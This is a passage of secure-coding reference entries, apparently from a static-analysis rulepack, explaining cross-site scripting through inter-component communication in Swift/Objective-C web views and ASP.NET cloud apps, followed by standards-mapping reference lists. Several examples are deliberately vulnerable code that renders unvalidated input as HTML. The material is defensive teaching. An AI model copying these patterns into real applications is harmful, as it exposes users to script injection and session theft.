- As in Example 2, data is read directly from a user-controllable UI component and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_inter_component_communication
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web or mobile application through an untrusted source. In the case of Inter-Component Communication XSS, the untrusted source is data received from other components that reside on the same system. In the mobile world, these are applications running on the same device. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 1: The following code enables an application to load an html page within a WKWebView with data from a URL request that uses the application's custom URL scheme:


...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = WKWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...


Because the string passed to loadHTMLString: is user-controllable and JavaScript is enabled by default within a WKWebView, the user can write arbitrary content (including executable scripts) to the WKWebView via requests that use app's custom URL scheme.

Example 2: The following code reads the contents of a UITextField and displays it to the user within a WKWebView:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


The code in this example operates without issues if the text within inputTextField contains only standard alphanumeric text. If the text within inputTextField includes metacharacters or source code, then the input may be executed as code by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone provide input that can cause malicious code to run on their own device? The real danger is that an attacker may use email or social engineering tricks to lure victims into performing such actions. When this is successful, the victims unwittingly reflect the malicious content through the vulnerable web application back to their own devices. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following code segment queries a database for an employee with a given ID and outputs the value in the display content of a WKWebView.


let fetchRequest = NSFetchRequest()
let entity = NSEntityDescription.entityForName("Employee", inManagedObjectContext: managedContext)
fetchRequest.entity = entity
do {
let results = try managedContext.executeFetchRequest(fetchRequest)
let result : NSManagedObject = results.first!
let name : String = result.valueForKey("name")
let msg : String = "Hello, \(name)"
let webView : UIWebView = UIWebView()
webView.loadHTMLString(msg, baseURL:nil)
} catch let error as NSError {
print("Error \(error)")
}


As in Example 2, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, a source outside the target application makes a URL request using the target application's custom URL scheme, and unvalidated data from the URL request subsequently read back into the application as trusted data and included in dynamic content.

- As in Example 2, data is read directly from a user-controllable UI component and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_inter_component_communication
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a cloud-hosted web application through an untrusted source. In the case of Inter-Component Communication Cloud XSS, the untrusted source is data received from other components of the cloud application through communication channels provided by the cloud host.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP.NET Web Form queries the Azure Table Service for an employee and prints the name.

<script runat="server">
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;
</script>


Where EmployeeName is a form control defined as follows:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 2: The following ASP.NET code segment is functionally equivalent to Example 1, but implements all of the form elements programmatically.

protected System.Web.UI.WebControls.Label EmployeeName;
...
var retrieveOperation = TableOperation.Retrieve<EmployeeInfo>(partitionKey, rowKey);
var retrievedResult = employeeTable.Execute(retrieveOperation);
var employeeInfo = retrievedResult.Result as EmployeeInfo;
string name = employeeInfo.Name
...
EmployeeName.Text = name;


These code examples function correctly when the values of Name are well-behaved, but they do nothing to prevent exploits if they are not. This code can appear less dangerous because the value of Name is read from a cloud-provided storage service, whose contents are apparently managed by the distributed application. However, if the value of Name originates from user-supplied data, then the cloud-provided storage service can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Inter-Component Communication Cloud XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 3: The following ASP.NET Web Form reads an employee ID number from an HTTP request and displays it to the user.

<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


Where Login and EmployeeID are form controls defined as follows:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 4: The following ASP.NET code segment shows the programmatic way to implement Example 3.

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


As in Example 1 and Example 2, these examples operate correctly if Login contains only standard alphanumeric text. If Login has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks in order to lure victims into clicking a link. When the victims click the link, they unwittingly reflect the malicious content through the vulnerable web application and back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1 and Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Inter-Component Communication Cloud XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3 and Example 4, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including ASP.NET Request Validation and WCF). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. With ASP.NET Request Validation, we also provide evidence for when validation is explicitly disabled. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_inter_component_communication__cloud_
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

